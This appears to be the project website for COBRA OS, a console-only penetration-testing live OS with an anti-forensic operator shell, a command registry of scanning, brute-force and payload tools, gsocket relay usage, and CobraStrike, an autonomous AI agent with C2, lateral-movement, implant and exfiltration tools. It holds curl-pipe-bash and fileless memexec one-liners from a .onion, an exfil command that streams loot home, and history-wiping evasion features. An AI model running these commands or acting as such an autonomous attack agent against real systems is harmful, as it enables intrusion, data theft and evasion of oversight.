COBRA OS

01 > what it is

COBRA OS is a live operating system scaffold for authorized penetration testing: a Debian trixie minbase core, a tool feed from the Parrot OS repositories, a rebranded operator shell forked from THC's hackshell, and a curated operator command registry — all wrapped in a red-team cyberpunk console theme.

It is deliberately console-only. There is no X server, no Wayland, no display manager and no GUI packages anywhere in the image. tmux splits are the dashboard. Web access is a text browser summoned deliberately, over gated connections, optionally wrapped in Tor. The result is a small, auditable attack surface that boots from USB and leaves nothing behind.

One script — chroot-setup.sh — is the single source of truth for the toolset and the hardening. It builds both the chroot rootfs and the live ISO, so the system you test is the system you ship.

scaffold, not a finished distro. Treat every default — password, tool list, firewall rules — as something to review before it touches a network you care about.

02 > capabilities

▲

Console-only, on purpose

No X11, no Wayland, no DM, no GUI toolkits. A TTY is all you get, and all you need. Smaller image, smaller attack surface, nothing to phish.

✕

Anti-forensic shell

No history anywhere (bash, less, mysql, psql, sqlite, redis), XHOME in /dev/shm that auto-destructs on exit, and a tmux that hides on a socket tmux ls will never show.

■

Default-deny firewall

nftables drops inbound and forwarded traffic by default; loopback and established sessions pass, ICMPv4/v6 stay alive. Inbound listeners punch deliberate, runtime-only holes.

●

Gated internet

Nothing touches the network by accident. Every internet-bound helper — downloads, exfil, recon lookups, the browser — sits behind cobrashell's xint gate. Loopback stays open for local listeners.

◆

Tor-ready

System tor daemon with SOCKS on 127.0.0.1:9050, torsocks for torify links2, proxychains4 for everything else, and proxy 9050 to export socks5h env vars for curl & co.

⬡

De-THC'd, zero telemetry

The hackshell fork was fully audited: upstream's recon calls to ip.thc.org are ripped out — engagement targets never leak to third-party infrastructure. Recon and the gs-* tools point where YOU say: COBRA_RECON_HOST, GS_HOST/GS_PORT (our relay or your own).

▣

LUKS persistence

Live-boot with noswap persistence on the cmdline: pair the USB with an encrypted persistence partition and live-boot unlocks it at boot. RAM-only semantics stay the default.

≡

One source of truth

chroot-setup.sh runs inside the debootstrap chroot and as the live-build hook — one toolset, one hardening pass, two outputs: ./rootfs/ and cobra-os-<date>.iso.

✦

Themed boot-to-shell

Cobra splash on the BIOS and UEFI boot menus, a red ASCII banner on the login prompt, a remapped 16-color VGA console palette, themed LS_COLORS, grep and man pages — all escape sequences, zero packages.

03 > the operator registry

Every interactive shell sources cobra-ops.sh — the retired Textual TUI's command set, ported to bash. opshelp lists it in-session. Every function maps 1:1 to a package in chroot-setup.sh and a row in the build plan.

category	command	what it runs	purpose
recon	`target <host>`	— shell state —	set the active target (fallback for recon cmds)
	`fscan <t>`	nmap -T4 -F	fast scan, top 1000 ports
	`portscan <t>`	nmap -p- -T4	full TCP scan
	`svcscan <t>`	nmap -sV -sC -T4	service/version + default scripts
	`vulnscan <t>`	nmap --script vuln	vuln scripts (slow, noisy)
	`udpscan <t>`	nmap -sU --top-ports 100	top 100 UDP ports (sudo)
	`dnsq` / `whois`	dig / whois	DNS records & whois lookups
	`smbenum <t>`	enum4linux-ng -A	SMB/Windows shares, users, policy
web	`webdir <url>`	gobuster dir	directory brute-force (dirb common.txt)
	`webvuln <url>`	nikto -h	web server scan
	`sql <url>`	sqlmap --batch	SQL injection, randomized agent
creds	`brute <h> <s> <u>`	hydra + rockyou	service brute-force
	`crack <hashfile>`	john + rockyou	hash cracking
	`hashcrack <m> <f>`	hashcat -m	GPU/hash-mode cracking
intel	`sploit <term>`	searchsploit	offline exploit-db lookup (CSV on disk)
intel	`privesc [flags]`	vendored linpeas	privesc paths on THIS box — local, no network
capture	`sniff [iface]`	tcpdump -nn -l	live capture
	`pcap [iface]`	tshark -l	live decode
	`listen <port>`	nc -lvnp	reverse-shell catcher
	`serve [port]`	python3 http.server	payload hosting
payload	`egg`	mkegg.sh wizard	self-extracting payload packer
payload	`upserv`	php upload server	loot-drop receiver (webplus profile)
dash	`mon`	btop	system monitor
	`files`	nnn	console file manager
	`web [url]`	links2	text browser — xint-gated, Tor via `torify`

+ cobrashell, underneath

The registry rides on top of cobrashell (THC hackshell fork): loot/lootmore for target situational awareness, scan, xssh, bounce, ghostip, hide, memexec, enc/dec, xtmux on a hidden socket, paste-site exfil via transfer/tb, and the gs-* gsocket toolset — every internet-bound one gated behind xint. The gsocket tools honor GS_HOST/GS_PORT: rendezvous on our relay or your own, never someone else's. Off-OS, the same shell loads straight from this site — see cobrashell, anywhere.

04 > cobrastrike — the AI operator

CobraStrike is COBRA's self-contained, headless AI agent. It spawns the cobra-mcp server over stdio, connects as an MCP client, and runs an autonomous loop on any model on OpenRouter — driven by a mission file, with a living brain and tradecraft doctrine. The agent drives 52 MCP tools across recon / web / creds / exploit / payload / capture / lateral / C2 / local-shell / profiles, all gated by a scope guard in code. Bring your own API key; it never touches this site.

1 install on any box

# one-liner from this site (clearnet):
curl -fsSL https://cobra-os.com/cobra/install.sh | bash

# or over Tor, from the .onion mirror:
torsocks curl -fsSL http://afrt77bagg4l4r6k56kshbbxjb6oot6dg7gwt3g5jopk4pe7ddjv3zad.onion/cobra/install.sh | bash

# then bring your own OpenRouter key:
cobra setup --save-key   # stored 0600, never sent here
cobra models             # pick any model
cobra doctor             # verify the wiring

Needs Node.js ≥ 18. The installer drops a single self-contained cobra.js in ~/.cobra/ and a cobra launcher on your PATH. No IDE, no MCP config JSON.

2 run the mission

# one-shot headless task:
cobra run "Recon triage the active target and update the brain"

# execute a mission file:
cobra mission brain/missions/htb-blue.mission.md

# interactive session:
cobra chat

# scope it (enforced server-side, in code):
cobra run "…" --scope "10.10.10.0/24,lab.local"

Scans write full output to loot files; the agent reads summaries and pulls detail only when it needs it — token-efficient by design. The brain updates after every phase.

the operator CLI — `cobra <subcommand>`

The launcher takes seven subcommands. On COBRA OS the cobra() function gates the four that call OpenRouter (run/chat/models/mission) behind xint; the local ones (setup/tools/doctor) run ungated.

subcommand	what it does	network
`run [task]`	one-shot headless task (interactive chat if no task given)	OpenRouter — xint-gated
`mission <file>`	execute a `brain/missions/*.mission.md` file	OpenRouter — xint-gated
`chat`	interactive REPL with the agent	OpenRouter — xint-gated
`models`	list / pick OpenRouter models (`--filter`)	OpenRouter — xint-gated
`setup`	configure model + store your key (`--save-key`, 0600)	local
`tools`	list the tools the MCP server exposes	local (stdio)
`doctor`	sanity-check server, API key, connectivity	local

Flags: --model --api-key --base-url --scope --loot-dir --max-turns --temperature --max-tokens --save-key --server-command/--server-args --verbose.

the agent's tools — what the AI can call

The model never runs raw shell. It calls these tools on the cobra-mcp server over stdio, and the server enforces the scope guard in code. The set is self-discovered at runtime — the client pulls it via listTools() and the cobra://opshelp resource, so cobra tools always shows the live list. Every network-touching tool validates its target against COBRA_ALLOWED_SCOPE.

category	MCP tool	runs	purpose
session	`target_set <host>`	— state —	register + set active target (must be in scope)
	`target_get`	— state —	show active target (most recent)
	`target_list`	— state —	multi-target registry, active marked
	`target_clear`	— state —	remove one / all targets
	`loot_path`	— state —	show loot directory
brain	`brain_read`	— state —	re-read the CURRENT brain (snapshot goes stale)
	`brain_write`	— state —	rewrite the whole brain (every phase)
	`brain_append`	— state —	append a dated note (lessons learned)
recon	`recon_fast_scan`	nmap -T4 -F	cheap first look, top ports
	`recon_full_scan`	nmap -p-	full TCP scan
	`recon_service_scan`	nmap -sV -sC	service/version on discovered ports
	`recon_vuln_scan`	nmap vulners	⚠️ slow + noisy · egress-gated
	`recon_udp_scan`	nmap -sU top-100	UDP (sudo; direct-only)
	`recon_dns`	dig any	DNS lookup
	`recon_whois`	whois	WHOIS (egress: ALLOW_INTERNET=1 or tor=1)
	`recon_smb_enum`	nmap smb NSE	SMB OS / shares / users
web	`web_dir_brute`	ffuf / gobuster	directory brute-force
	`web_vuln_scan`	nikto	⚠️ noisy web scan
	`web_sql_inject`	sqlmap --batch	SQL injection
creds	`creds_brute`	hydra -t4 -f	⚠️ loud online brute (throttled)
	`creds_crack_john`	john	CPU hash cracking
	`creds_crack_hashcat`	hashcat -m	GPU hash cracking
exploit	`exploit_search`	searchsploit	offline exploit-db (always safe)
exploit	`local_privesc`	linpeas	local privesc paths
payload	`payload_egg_build`	mkegg.sh	self-extracting implant
	`exfil_upserv_start`	python3 http.server	HTTP up/download server (session)
	`payload_serve`	python3 http.server	serve loot dir for delivery (session)
capture	`listen_start`	nc -lvnp	reverse-shell listener (session)
	`capture_sniff_start`	tcpdump	live sniff (session)
	`capture_pcap_start`	tshark -w	pcap capture (session)
	`session_list`	— sessions —	list active capture/listen sessions
	`session_output`	— sessions —	tail a session's output
	`session_kill`	— sessions —	stop a session
	`listen_stop`	— sessions —	stop-alias for listeners
	`capture_sniff_stop`	— sessions —	stop-alias for sniff captures
	`capture_pcap_stop`	— sessions —	stop-alias for pcap captures
lateral	`exec_ssh`	ssh + sshpass	scope-gated remote exec (password or key)
	`ssh_key_setup`	ssh + ssh-keygen	engagement keypair in loot dir
	`tunnel_socks_start`	ssh -D	SOCKS5 tunnel session (gated ENABLE_TUNNELS=1)
	`tunnel_list`	— state —	active SOCKS tunnels
	`tunnel_stop`	— state —	stop a tunnel
c2 (gs-netcat)	`c2_gs_secret`	gs-netcat -g	mint a beacon secret (keyfile 0600)
	`c2_gs_deploy`	gs-netcat -l	beacon one-liner + optional SSH auto-deploy
	`c2_gs_shell`	gs-netcat	non-interactive command through the relay
	`c2_gs_socks_start`	gs-netcat -S	SOCKS5 pivot — registers as a tunnel for via=
	`c2_gs_list`	— registry —	beacons + tunnels dashboard / cleanup
local shell	`shell_run`	bash -c	arbitrary local exec (gated ENABLE_SHELL=1)
local shell	`shell_xhome_probe`	— env —	cobrashell xhome-bastion visibility (ungated, read-only)
profiles	`profile_list`	— probe —	COBRA_PROFILES groups, installed vs missing
profiles	`profile_check`	— probe —	one group's binaries + rebuild hint (read-only)
missions	`mission_read`	— file —	read a mission file by name (ungated, read-only, path-contained)
missions	`mission_begin`	— file —	seed a mission file into the brain's Mission section (auto-run by cobra mission)

+ the read-side: resources & prompts

The agent also reads resources — cobra://opshelp (tool registry), capabilities, target, sessions, brain, missions (mission dir + template + run command), buildplan, loot/{path}, tradecraft/{guide} — and follows prompts (authorized-engagement, recon-triage, web-assessment, credential-attack) that put common engagements on rails. Authoritative reference: CobraStrike/BUILD_PLAN.md §2 (tool↔package manifest) & §4.

authorized use only. The scope guard is baked into the MCP server, not the client — every network-touching tool validates its target against COBRA_ALLOWED_SCOPE and refuses out-of-scope work in code. Your key is resolved in memory (or a 0600 file if you opt in), sent only to OpenRouter over HTTPS, and never written to this site or any COBRA infra.

05 > cobrashell, anywhere

Not booted into COBRA OS? The operator shell is mirrored on this site — pull it onto any Linux box (HTB, VulnHub, a jumped host) and the toolkit comes with you. Same file the OS sources at /etc/cobra/cobrashell.sh, served byte-for-byte from this repo.

1 load it

# straight into your running bash:
source <(curl -fsSL https://cobra-os.com/shell/cobrashell.sh)

# or the short URL (same file):
source <(curl -fsSL https://cobra-os.com/cobrashell.sh)

# no curl? wget works too:
source <(wget -qO- https://cobra-os.com/shell/cobrashell.sh)

Nothing is written to disk — XHOME still lives in /dev/shm and auto-destructs on exit, history still goes to /dev/null, and the xint gate still stands between the box and the internet.

2 grab the helpers

# the vendored tools cobrashell calls are mirrored too:
curl -fsSLO https://cobra-os.com/shell/ghostip.sh
curl -fsSLO https://cobra-os.com/shell/whatserver.sh
curl -fsSLO https://cobra-os.com/shell/mkegg.sh
curl -fsSLO https://cobra-os.com/shell/linpeas.sh

# then the usual:
xint                # allow internet egress
bin gs-netcat       # pulled from OUR infra (next section)

On COBRA OS these live at /etc/cobra/ and need no network. Everywhere else, fetch what you need — deliberate, operator-summoned, over HTTPS from this domain only.

trust the path: the mirror deploys from this repo with the site — and the curl-pipe-bash rule still applies: read it first (curl -fsSL https://cobra-os.com/shell/cobrashell.sh | less), then load it.

06 > gsocket — from our infra

cobrashell's gs-* toolset (gs-netcat, gs-sftp, gs-exfil) rendezvous through a relay: both ends connect outbound, streams are end-to-end encrypted (SRP), and the relay only ever sees ciphertext. COBRA runs its own corner of that network — the binaries and the relay come from infrastructure we control, not THC's.

1 binaries over Tor

# inside cobrashell, on any box:
xint
bin gs-netcat     # → afrt77bagg4l4r6k56kshbbxjb6oot6dg7gwt3g5jopk4pe7ddjv3zad.onion/bin/gs-netcat_linux-x86_64

# or directly / fileless, over Tor:
torsocks curl -fsSLO http://afrt77bagg4l4r6k56kshbbxjb6oot6dg7gwt3g5jopk4pe7ddjv3zad.onion/bin/gs-netcat_linux-x86_64
memexec http://afrt77bagg4l4r6k56kshbbxjb6oot6dg7gwt3g5jopk4pe7ddjv3zad.onion/bin/gs-netcat_linux-x86_64

Static upstream builds, mirrored byte-for-byte with .sha256 sidecars on our .onion service. Fully self-hosted — no clearnet binary host, no GitHub rate limits, no third-party fetch path mid-op.

2 rendezvous on our relay

# point the gs-* tools at the COBRA relay:
export GS_HOST=relay.cobra-os.com
export GS_PORT=7350
xint

gs-sftp-server            # browse/pull files off a target
gs-exfil loot.tar.gz      # stream loot home
# the egg wizard's gs-netcat beacon mode threads
# GS_HOST/GS_PORT into the payload too

A small VPS we control — spinning up alongside a .onion address for Tor access. Until it's live, the tools default to the public relay network and need no env vars. Want full independence either way? Run your own — docker run -d -p 7350:7350 hackerschoice/gsocket-relay.

why bother: the stream is end-to-end encrypted on any relay — whose relay you use decides who sees connection metadata (timing, volume, pairings), and a burned public relay can never take your access with it. Same pattern for recon: COBRA_RECON_HOST points sub/ptr at your own service (upstream's ip.thc.org calls are ripped out). All of it stays behind the xint gate.

07 > build profiles

The core stays narrow. Extras ride in as space-separated COBRA_PROFILES at build time — each one a case in chroot-setup.sh, never part of the core list.

08 > hardened by default

root locked (passwd -l) — sudo-only via the operator user, password change forced on first login
nftables default-deny input/forward; loopback + established allowed; ICMPv4/v6 kept alive (NDP needs it)
sysctl kptr/dmesg/BPF/kexec restrictions, fs.protected_*, IPv4/IPv6 sanity, ip_forward=0
modprobe usb-storage off by default; legacy protocols & filesystems blacklisted

history to /dev/null for bash/less/mysql/psql/sqlite/redis — plus cobrashell's RAM-only XHOME
MAC random Wi-Fi MAC per connection, stable ethernet MAC (NetworkManager)
apt no .deb cache in images; docs/man/info stripped; apt lists dropped
purge retired TUI artifacts and the whole X11/GUI package set are purged from warm chroots on rebuild

09 > get cobra — build it yourself

There is no prebuilt ISO to download — and that's deliberate. A hardened red-team live OS shouldn't ask you to trust someone else's build machine, onion key, or Tor path for a ~2 GiB-plus binary (profiles grow it from there). Two host-side scripts do everything, from the same source we run, on your own host, in your choice of profile. debootstrap wants root, so run them on a Debian/Ubuntu host or VM.

why build, not download

trustaudit the source, build it yourself — no supply-chain leap of faith
fitpick your profile: core, wireless, ad, exploit, webplus, ai
sizeone profile per build — no bloated everything-image
speedno multi-GB Tor download; build & rebuild locally
verifycompare your hash against the published reference build

source on github

1 rootfs

# core toolset
sudo apt install debootstrap
sudo ./build-rootfs.sh

# with extras
sudo COBRA_PROFILES="wireless exploit" ./build-rootfs.sh

# resume on a warm rootfs
sudo SKIP_DEBOOTSTRAP=1 ./build-rootfs.sh

Produces ./rootfs/: minimal Debian base + Parrot repo, the curated core tool set, locked root, the operator sudo user, default-deny nftables, sysctl/modprobe hardening, MAC randomization, history-off defaults.

2 live iso

# core toolset ISO
sudo apt install live-build
sudo ./build-iso.sh

# with extras
sudo COBRA_PROFILES="wireless" ./build-iso.sh

# smoke test
qemu-system-x86_64 -m 2G -cdrom cobra-os-*.iso

Produces cobra-os-<date>.iso (+ .sha256): iso-hybrid for BIOS and UEFI, live-boot with noswap persistence, LUKS persistence unlock via cryptsetup, themed boot menus. toram stays a deliberate TAB-edit at the boot menu.

3 verify

# hash your build:
sha256sum cobra-os-*.iso

# compare with the reference build's .sha256,
# published in downloads/ on this site

We publish the reference build's checksum in downloads/ — compare your hash against ours before the image ever touches a USB stick.

4 write & boot

# write to USB (replace sdX — careful, the whole device):
sudo dd if=cobra-os-*.iso of=/dev/sdX \
    bs=4M status=progress oflag=sync

# or smoke-test in a VM first:
qemu-system-x86_64 -m 2G -cdrom cobra-os-*.iso

dd wants the whole device (sdX, not sdX1). The qemu boot reaches the same themed menu as the stick — confirm your COBRA_PROFILES landed before committing hardware.

change before deploying: the changeme operator password is a documented scaffold default. Review the tool list, PARROT_SUITE, and the nftables input rules for your op.

What we do still host, because they're small and meant to be one-command installs: the operator shell mirror (/shell/), the CobraStrike AI operator (/cobra/), and the static gs-netcat binaries (/bin/, onion). The multi-GB live image is the only thing you build yourself.

01 > what it is

02 > capabilities

Console-only, on purpose

Anti-forensic shell

Default-deny firewall

Gated internet

Tor-ready

De-THC'd, zero telemetry

LUKS persistence

One source of truth

Themed boot-to-shell

03 > the operator registry

+ cobrashell, underneath

04 > cobrastrike — the AI operator

1 install on any box

2 run the mission

the operator CLI — `cobra <subcommand>`

the agent's tools — what the AI can call

+ the read-side: resources & prompts

05 > cobrashell, anywhere

1 load it

2 grab the helpers

06 > gsocket — from our infra

1 binaries over Tor

2 rendezvous on our relay

07 > build profiles

[ wireless ]

[ ad ]

[ exploit ]

[ webplus ]

[ ai ]

08 > hardened by default

09 > get cobra — build it yourself

why build, not download

1 rootfs

2 live iso

3 verify

4 write & boot

COBRA OS

01 > what it is

02 > capabilities

Console-only, on purpose

Anti-forensic shell

Default-deny firewall

Gated internet

Tor-ready

De-THC'd, zero telemetry

LUKS persistence

One source of truth

Themed boot-to-shell

03 > the operator registry

+ cobrashell, underneath

04 > cobrastrike — the AI operator

1 install on any box

2 run the mission

the operator CLI — cobra <subcommand>

the agent's tools — what the AI can call

+ the read-side: resources & prompts

05 > cobrashell, anywhere

1 load it

2 grab the helpers

06 > gsocket — from our infra

1 binaries over Tor

2 rendezvous on our relay

07 > build profiles

[ wireless ]

[ ad ]

[ exploit ]

[ webplus ]

[ ai ]

08 > hardened by default

09 > get cobra — build it yourself

why build, not download

1 rootfs

2 live iso

3 verify

4 write & boot

the operator CLI — `cobra <subcommand>`